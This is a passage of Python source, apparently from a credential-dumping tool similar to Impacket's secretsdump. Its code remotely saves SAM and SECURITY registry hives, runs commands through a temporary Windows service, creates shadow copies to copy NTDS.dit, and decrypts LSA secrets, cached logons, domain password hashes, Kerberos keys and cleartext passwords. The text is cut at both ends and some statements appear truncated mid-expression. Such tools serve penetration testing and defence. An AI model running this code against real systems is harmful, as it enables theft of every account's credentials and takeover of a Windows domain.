rrp.hBaseRegCloseKey(self.__rrp, keyHandle) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] bootKey = unhexlify(bootKey) for i in xrange(len(bootKey)): self.__bootKey += bootKey[transforms[i]] logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey)) return self.__bootKey def checkNoLMHashPolicy(self): logging.debug('Checking NoLMHash Policy') ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') keyHandle = ans['phkResult'] try: dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') except: noLMHash = 0 if noLMHash != 1: logging.debug('LMHashes are being stored') return False logging.debug('LMHashes are NOT being stored') return True def __retrieveHive(self, hiveName): tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) except: raise Exception("Can't open %s hive" % hiveName) keyHandle = ans['phkResult'] rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) # Now let's open the remote file, so it can be read later remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) return remoteFileName def saveSAM(self): logging.debug('Saving remote SAM database') return self.__retrieveHive('SAM') def saveSECURITY(self): logging.debug('Saving remote SECURITY database') return self.__retrieveHive('SECURITY') def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service) def __answer(self, data): self.__answerTMP += data def __getLastVSS(self): self.__executeRemote('%COMSPEC% /C vssadmin list shadows') time.sleep(5) tries = 0 while True: try: self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) break except Exception, e: if tries > 30: # We give up raise Exception('Too many tries trying to list vss shadows') if str(e).find('SHARING') > 0: # Stuff didn't finish yet.. wait more time.sleep(5) tries +=1 pass else: raise lines = self.__answerTMP.split('\n') lastShadow = '' lastShadowFor = '' # Let's find the last one # The string used to search the shadow for drive. Wondering what happens # in other languages SHADOWFOR = 'Volume: (' for line in lines: if line.find('GLOBALROOT') > 0: lastShadow = line[line.find('\\\\?'):][:-1] elif line.find(SHADOWFOR) > 0: lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') return lastShadow, lastShadowFor def saveNTDS(self): logging.info('Searching for NTDS.dit') # First of all, let's try to read the target NTDS.dit registry entry ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') keyHandle = ans['phkResult'] except: # Can't open the registry path, assuming no NTDS on the other end return None try: dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') ntdsLocation = dataValue[:-1] ntdsDrive = ntdsLocation[:2] except: # Can't open the registry path, assuming no NTDS on the other end return None rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) # Get the list of remote shadows shadow, shadowFor = self.__getLastVSS() if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): # No shadow, create one self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) shadow, shadowFor = self.__getLastVSS() shouldRemove = True if shadow == '': raise Exception('Could not get a VSS') else: shouldRemove = False # Now copy the ntds.dit to the temp directory tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) if shouldRemove is True: self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) return remoteFileName class CryptoCommon: # Common crypto stuff used over different classes def transformKey(self, InputKey): # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key OutputKey = [] OutputKey.append( chr(ord(InputKey[0]) >> 0x01) ) OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return "".join(OutputKey) def deriveKey(self, baseKey): # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key # Let I be the little-endian, unsigned integer. # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. # Note that because I is in little-endian byte order, I[0] is the least significant byte. # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] key = pack(' 0: items = sorted(self.__itemsFound) fd = codecs.open(fileName+'.sam','w+', encoding='utf-8') for item in items: fd.write(self.__itemsFound[item]+'\n') fd.close() class LSASecrets(OfflineRegistry): def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False): OfflineRegistry.__init__(self,securityFile, isRemote) self.__hashedBootKey = '' self.__bootKey = bootKey self.__LSAKey = '' self.__NKLMKey = '' self.__isRemote = isRemote self.__vistaStyle = True self.__cryptoCommon = CryptoCommon() self.__securityFile = securityFile self.__remoteOps = remoteOps self.__cachedItems = [] self.__secretItems = [] def MD5(self, data): md5 = hashlib.new('md5') md5.update(data) return md5.digest() def __sha256(self, key, value, rounds=1000): sha = hashlib.sha256() sha.update(key) for i in range(1000): sha.update(value) return sha.digest() def __decryptSecret(self, key, value): # [MS-LSAD] Section 5.1.2 plainText = '' encryptedSecretSize = unpack(' 0: return data + (data & 0x3) else: return data def dumpCachedHashes(self): if self.__securityFile is None: # No SECURITY file provided return logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') # Let's first see if there are cached entries values = self.enumValues('\\Cache') if values is None: # No cache entries return try: # Remove unnecesary value values.remove('NL$Control') except: pass self.__getLSASecretKey() self.__getNLKMSecret() for value in values: logging.debug('Looking into %s' % value) record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) if record['CH'] != 16 * '\x00': if self.__vistaStyle is True: plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH']) else: plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH']) pass encHash = plainText[:0x10] plainText = plainText[0x48:] userName = plainText[:record['UserLength']].decode('utf-16le') plainText = plainText[self.__pad(record['UserLength']):] domain = plainText[:record['DomainNameLength']].decode('utf-16le') plainText = plainText[self.__pad(record['DomainNameLength']):] domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le') answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) self.__cachedItems.append(answer) print answer def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 # First off, let's discard NULL secrets. if len(secretItem) == 0: logging.debug('Discarding secret %s, NULL Data' % name) return # We might have secrets with zero if secretItem.startswith('\x00\x00'): logging.debug('Discarding secret %s, all zeros' % name) return upperName = name.upper() logging.info('%s ' % name) secret = '' if upperName.startswith('_SC_'): # Service name, a password might be there # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account the service # runs under if self.__isRemote is True: account = self.__remoteOps.getServiceAccount(name[4:]) if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):' secret += strDecoded elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winlogon # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account this password is for if self.__isRemote is True: account = self.__remoteOps.getDefaultLoginAccount() if account is None: secret = '(Unknown User):' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = '(Unknown User):' secret += strDecoded elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') except: pass else: secret = 'ASPNET: %s' % strDecoded elif upperName.startswith('$MACHINE.ACC'): # compute MD4 of the secret.. yes.. that is the nthash? :-o md4 = MD4.new() md4.update(secretItem) if self.__isRemote is True: machine, domain = self.__remoteOps.getMachineNameAndDomain() secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) else: secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) if secret != '': print secret self.__secretItems.append(secret) else: # Default print, hexdump self.__secretItems.append('%s:%s' % (name, hexlify(secretItem))) hexdump(secretItem) def dumpSecrets(self): if self.__securityFile is None: # No SECURITY file provided return logging.info('Dumping LSA Secrets') # Let's first see if there are cached entries keys = self.enumKey('\\Policy\\Secrets') if keys is None: # No entries return try: # Remove unnecesary value keys.remove('NL$Control') except: pass if self.__LSAKey == '': self.__getLSASecretKey() for key in keys: logging.debug('Looking into %s' % key) value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key) if value is not None: if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: secret = self.__decryptSecret(self.__LSAKey, value[1]) self.__printSecret(key, secret) def exportSecrets(self, fileName): if len(self.__secretItems) > 0: fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') for item in self.__secretItems: fd.write(item+'\n') fd.close() def exportCached(self, fileName): if len(self.__cachedItems) > 0: fd = codecs.open(fileName+'.cached','w+', encoding='utf-8') for item in self.__cachedItems: fd.write(item+'\n') fd.close() class NTDSHashes: NAME_TO_INTERNAL = { 'uSNCreated':'ATTq131091', 'uSNChanged':'ATTq131192', 'name':'ATTm3', 'objectGUID':'ATTk589826', 'objectSid':'ATTr589970', 'userAccountControl':'ATTj589832', 'primaryGroupID':'ATTj589922', 'accountExpires':'ATTq589983', 'logonCount':'ATTj589993', 'sAMAccountName':'ATTm590045', 'sAMAccountType':'ATTj590126', 'lastLogonTimestamp':'ATTq589876', 'userPrincipalName':'ATTm590480', 'unicodePwd':'ATTk589914', 'dBCSPwd':'ATTk589879', 'ntPwdHistory':'ATTk589918', 'lmPwdHistory':'ATTk589984', 'pekList':'ATTk590689', 'supplementalCredentials':'ATTk589949', 'pwdLastSet':'ATTq589920', } NAME_TO_ATTRTYP = { 'userPrincipalName': 0x90290, 'sAMAccountName': 0x900DD, 'unicodePwd': 0x9005A, 'dBCSPwd': 0x90037, 'ntPwdHistory': 0x9005E, 'lmPwdHistory': 0x900A0, 'supplementalCredentials': 0x9007D, 'objectSid': 0x90092, } ATTRTYP_TO_ATTID = { 'userPrincipalName': '1.2.840.113556.1.4.656', 'sAMAccountName': '1.2.840.113556.1.4.221', 'unicodePwd': '1.2.840.113556.1.4.90', 'dBCSPwd': '1.2.840.113556.1.4.55', 'ntPwdHistory': '1.2.840.113556.1.4.94', 'lmPwdHistory': '1.2.840.113556.1.4.160', 'supplementalCredentials': '1.2.840.113556.1.4.125', 'objectSid': '1.2.840.113556.1.4.146', 'pwdLastSet': '1.2.840.113556.1.4.96', } KERBEROS_TYPE = { 1:'dec-cbc-crc', 3:'des-cbc-md5', 17:'aes128-cts-hmac-sha1-96', 18:'aes256-cts-hmac-sha1-96', 0xffffff74:'rc4_hmac', } INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems()) SAM_NORMAL_USER_ACCOUNT = 0x30000000 SAM_MACHINE_ACCOUNT = 0x30000001 SAM_TRUST_ACCOUNT = 0x30000002 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) class PEKLIST_ENC(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedPek',':'), ) class PEKLIST_PLAIN(Structure): structure = ( ('Header','32s=""'), ('DecryptedPek',':'), ) class PEK_KEY(Structure): structure = ( ('Header','1s=""'), ('Padding','3s=""'), ('Key','16s=""'), ) class CRYPTED_HASH(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('EncryptedHash','16s=""'), ) class CRYPTED_HASHW16(Structure): structure = ( ('Header','8s=""'), ('KeyMaterial','16s=""'), ('Unknown',' 24: if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) if cipherText['Header'][:4] == '\x13\x00\x00\x00': # Win2016 TP4 decryption is different pekIndex = hexlify(cipherText['Header']) plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], cipherText['EncryptedHash'][4:], cipherText['KeyMaterial']) haveInfo = True else: plainText = self.__removeRC4Layer(cipherText) haveInfo = True else: domain = None userName = None replyVersion = 'V%d' % record['pdwOutVersion'] for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception, e: logging.debug('Failed to execute OidFromAttid with error %s' % e) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['userPrincipalName']: if attr['AttrVal']['valCount'] > 0: try: domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] except: domain = None else: domain = None elif attId == LOOKUP_TABLE['sAMAccountName']: if attr['AttrVal']['valCount'] > 0: try: userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') except: logging.error( 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' else: logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' if attId == LOOKUP_TABLE['supplementalCredentials']: if attr['AttrVal']['valCount'] > 0: blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) if len(plainText) > 24: haveInfo = True if domain is not None: userName = '%s\\%s' % (domain, userName) if haveInfo is True: try: userProperties = samr.USER_PROPERTIES(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return propertiesData = userProperties['UserProperties'] for propertyCount in range(userProperties['PropertyCount']): userProperty = samr.USER_PROPERTY(propertiesData) propertiesData = propertiesData[len(userProperty):] # For now, we will only process Newer Kerberos Keys and CLEARTEXT if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = unhexlify(userProperty['PropertyValue']) kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) data = kerbStoredCredentialNew['Buffer'] for credential in range(kerbStoredCredentialNew['CredentialCount']): keyDataNew = samr.KERB_KEY_DATA_NEW(data) data = data[len(keyDataNew):] keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue)) else: answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue)) # We're just storing the keys, not printing them, to make the output more readable # This is kind of ugly... but it's what I came up with tonight to get an ordered # set :P. Better ideas welcomed ;) self.__kerberosKeys[answer] = None if keysFile is not None: self.__writeOutput(keysFile, answer + '\n') elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. try: answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) except UnicodeDecodeError: # This could be because we're decoding a machine password. Printing it hex answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue']) self.__clearTextPwds[answer] = None if clearTextFile is not None: self.__writeOutput(clearTextFile, answer + '\n') if clearTextFile is not None: clearTextFile.flush() if keysFile is not None: keysFile.flush() logging.debug('Leaving NTDSHashes.__decryptSupplementalInfo') def __decryptHash(self, record, prefixTable=None, outputFile=None): logging.debug('Entering NTDSHashes.__decryptHash') if self.__useVSSMethod is True: logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) rid = sid.formatCanonical().split('-')[-1] if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) tmpLMHash = self.__removeRC4Layer(encryptedLMHash) LMHash = self.__removeDESLayer(tmpLMHash, rid) else: LMHash = ntlm.LMOWFv1('', '') if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00': # Win2016 TP4 decryption is different encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) pekIndex = hexlify(encryptedNTHash['Header']) tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHash['EncryptedHash'][:16], encryptedNTHash['KeyMaterial']) else: tmpNTHash = self.__removeRC4Layer(encryptedNTHash) NTHash = self.__removeDESLayer(tmpNTHash, rid) else: NTHash = ntlm.NTOWFv1('', '') if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) else: pwdLastSet = 'N/A' answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) if self.__pwdLastSet is True: answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) print answer if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if self.__history: LMHistory = [] NTHistory = [] if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) for i in range(0, len(tmpLMHistory) / 16): LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) LMHistory.append(LMHash) if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00': # Win2016 TP4 decryption is different pekIndex = hexlify(encryptedNTHistory['Header']) tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHistory['EncryptedHash'], encryptedNTHistory['KeyMaterial']) else: tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) for i in range(0, len(tmpNTHistory) / 16): NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) NTHistory.append(NTHash) for i, (LMHash, NTHash) in enumerate( map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = hexlify(ntlm.LMOWFv1('', '')) else: lmhash = hexlify(LMHash) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash)) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') print answer else: replyVersion = 'V%d' %record['pdwOutVersion'] logging.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) domain = None if self.__history: LMHistory = [] NTHistory = [] rid = unpack(' 0: encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) else: LMHash = ntlm.LMOWFv1('', '') elif attId == LOOKUP_TABLE['unicodePwd']: if attr['AttrVal']['valCount'] > 0: encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) else: NTHash = ntlm.NTOWFv1('', '') elif attId == LOOKUP_TABLE['userPrincipalName']: if attr['AttrVal']['valCount'] > 0: try: domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] except: domain = None else: domain = None elif attId == LOOKUP_TABLE['sAMAccountName']: if attr['AttrVal']['valCount'] > 0: try: userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') except: logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' else: logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' elif attId == LOOKUP_TABLE['objectSid']: if attr['AttrVal']['valCount'] > 0: objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) else: logging.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) objectSid = rid elif attId == LOOKUP_TABLE['pwdLastSet']: if attr['AttrVal']['valCount'] > 0: try: pwdLastSet = self.__fileTimeToDateTime(unpack(' 0: encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) for i in range(0, len(tmpLMHistory) / 16): LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) LMHistory.append(LMHashHistory) else: logging.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) elif attId == LOOKUP_TABLE['ntPwdHistory']: if attr['AttrVal']['valCount'] > 0: encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) for i in range(0, len(tmpNTHistory) / 16): NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) NTHistory.append(NTHashHistory) else: logging.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) if domain is not None: userName = '%s\\%s' % (domain, userName) answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash)) if self.__pwdLastSet is True: answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) print answer if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if self.__history: for i, (LMHashHistory, NTHashHistory) in enumerate( map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = hexlify(ntlm.LMOWFv1('', '')) else: lmhash = hexlify(LMHashHistory) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) print answer if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if outputFile is not None: outputFile.flush() logging.debug('Leaving NTDSHashes.__decryptHash') def dump(self): if self.__useVSSMethod is True: if self.__NTDS is None: # No NTDS.dit file provided and were asked to use VSS return else: if self.__NTDS is None: # DRSUAPI method, checking whether target is a DC try: self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) except: # Target's not a DC return # Let's check if we need to save results in a file if self.__outputFileName is not None: logging.debug('Saving output to %s' % self.__outputFileName) # We have to export. Are we resuming a session? if self.__savedSessionFile is not None: mode = 'a+' else: mode = 'w+' hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8') if self.__justNTLM is False: keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8') clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8') else: hashesOutputFile = None keysOutputFile = None clearTextOutputFile = None logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') if self.__useVSSMethod: # We start getting rows from the table aiming at reaching # the pekList. If we find users records we stored them # in a temp list for later process. self.__getPek() if self.__PEK is not None: logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) # First of all, if we have users already cached, let's decrypt their hashes for record in self.__tmpUsers: try: self.__decryptHash(record, outputFile=hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) except Exception, e: # import traceback # print traceback.print_exc() try: logging.error( "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) logging.error(str(e)) pass except: logging.error("Error while processing row!") logging.error(str(e)) pass # Now let's keep moving through the NTDS file and decrypting what we find while True: try: record = self.__ESEDB.getNextRow(self.__cursor) except: logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break try: if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: self.__decryptHash(record, outputFile=hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) except Exception, e: # import traceback # print traceback.print_exc() try: logging.error( "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) logging.error(str(e)) pass except: logging.error("Error while processing row!") logging.error(str(e)) pass else: logging.info('Using the DRSUAPI method to get NTDS.DIT secrets') status = STATUS_MORE_ENTRIES enumerationContext = 0 # Do we have to resume from a previously saved session? if self.__savedSessionFile is not None: # Yes try: resumeFile = open(self.__savedSessionFile, 'rwb+') except Exception, e: raise Exception('Cannot open resume session file name %s' % str(e)) resumeSid = resumeFile.read().strip('\n') logging.info('Resuming from SID %s, be patient' % resumeSid) # The resume session file is the same as the savedSessionFile tmpName = self.__savedSessionFile resumeFile = open(tmpName, 'wb+') else: resumeSid = None # We do not create a resume file when asking for a single user if self.__justUser is None: tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)]) logging.debug('Session resume file will be %s' % tmpName) # Creating the resume session file try: resumeFile = open(tmpName, 'wb+') self.__resumeSessionFile = tmpName except Exception, e: raise Exception('Cannot create resume session file %s' % str(e)) if self.__justUser is not None: crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=self.__justUser) if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: logging.error("%s: %s" % system_errors.ERROR_MESSAGES[ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) return userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) #userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: raise Exception('DRSGetNCChanges didn\'t return any object!') else: logging.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 